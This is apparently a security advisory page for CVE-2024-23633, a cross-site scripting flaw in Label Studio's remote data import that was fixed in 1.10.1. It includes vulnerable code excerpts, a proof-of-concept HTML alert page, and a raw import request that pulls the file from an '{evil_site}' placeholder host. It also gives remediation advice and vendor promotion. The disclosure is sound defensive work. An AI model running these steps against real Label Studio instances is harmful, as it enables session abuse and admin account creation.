Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-fq23-g58m-799r

MEDIUM

Cross-site Scripting Vulnerability on Data Import

Also known asCVE-2024-23633PYSEC-2024-128
Published
Jan 24, 2024
Updated
Nov 22, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk44th percentile+0.45%
0.00%0.36%0.73%1.09%0.1%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍label-studio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.10.1 and was tested on version 1.9.2.post0.

Overview

Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.

Description

The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.

def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):
    """Download file using URL and read tasks from it"""
    # process URL with tasks
    try:
        filename = url.rsplit('/', 1)[-1] <1>

        response = ssrf_safe_get(
            url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None}
        )
        file_content = response.content
        check_tasks_max_file_size(int(response.headers['content-length']))
        file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content))
        if file_upload.format_could_be_tasks_list:
            could_be_tasks_list = True
        file_upload_ids.append(file_upload.id)
        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)

    except ValidationError as e:
        raise e
    except Exception as e:
        raise ValidationError(str(e))
    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list
  1. The file name that was set was retrieved from the URL.

The downloaded file path could then be retrieved by sending a request to /api/projects/{project_id}/file-uploads?ids=[{download_id}] where {project_id} was the ID of the project and {download_id} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guess_type guesses the Content-Type based on the file extension.

class UploadedFileResponse(generics.RetrieveAPIView):
    permission_classes = (IsAuthenticated,)

    @swagger_auto_schema(auto_schema=None)
    def get(self, *args, **kwargs):
        request = self.request
        filename = kwargs['filename']
        # XXX needed, on windows os.path.join generates '\' which breaks FileUpload
        file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename
        logger.debug(f'Fetch uploaded file by user {request.user} => {file}')
        file_upload = FileUpload.objects.filter(file=file).last()

        if not file_upload.has_permission(request.user):
            return Response(status=status.HTTP_403_FORBIDDEN)

        file = file_upload.file
        if file.storage.exists(file.name):
            content_type, encoding = mimetypes.guess_type(str(file.name)) <1>
            content_type = content_type or 'application/octet-stream'
            return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type)
        else:
            return Response(status=status.HTTP_404_NOT_FOUND)
  1. Determines the Content-Type based on the extension of the uploaded file by using mimetypes.guess_type.

Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.

Proof of Concept

Below were the steps to recreate this issue:

  1. Host the following HTML proof of concept (POC) script on an external website with the file extension .html that would be downloaded to the Label Studio website.
<html>
    <body>
        <h1>Data Import XSS</h1>
        <script>
            alert(document.domain);
        </script>
    </body>
</html>
  1. Send the following POST request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the {victim_host} is the address and port of the victim Label Studio website (eg. labelstudio.com:8080), {project_id} is the ID of the project where the data would be imported into, {cookies} are session cookies and {evil_site} is the website hosting the malicious HTML file (named xss.html in the following example).
POST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1
Host: {victim_host}
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close
Cookie: {cookies}
Pragma: no-cache
Cache-Control: no-cache

url=https://{evil_site}/xss.html
  1. To retrieve the downloaded file path could be retrieved by sending a GET request to /api/projects/{project_id}/file-uploads?ids=[{download_id}], where {download_id} is the ID of the file download from the previous step.

  2. Send your victim a link to /data/{file_path}, where {file_path} is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting /data/upload/1/cfcfc340-xss.html.

xss-import-alert

Impact

Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.

Remediation Advice

  • For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy (documentation).
  • Restrict the allowed file extensions that could be downloaded.

Discovered

  • August 2023, Alex Brown, elttam

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlabel-studioall versions1.10.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for label-studio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update label-studio to 1.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fq23-g58m-799r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fq23-g58m-799r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fq23-g58m-799r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Introduction This write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`. # Overview [Label Studio](https://github.com/HumanSignal/label-studio) had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the
O3 Security · Impact-Aware SCA

Is GHSA-fq23-g58m-799r in your dependencies?

O3 detects GHSA-fq23-g58m-799r across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.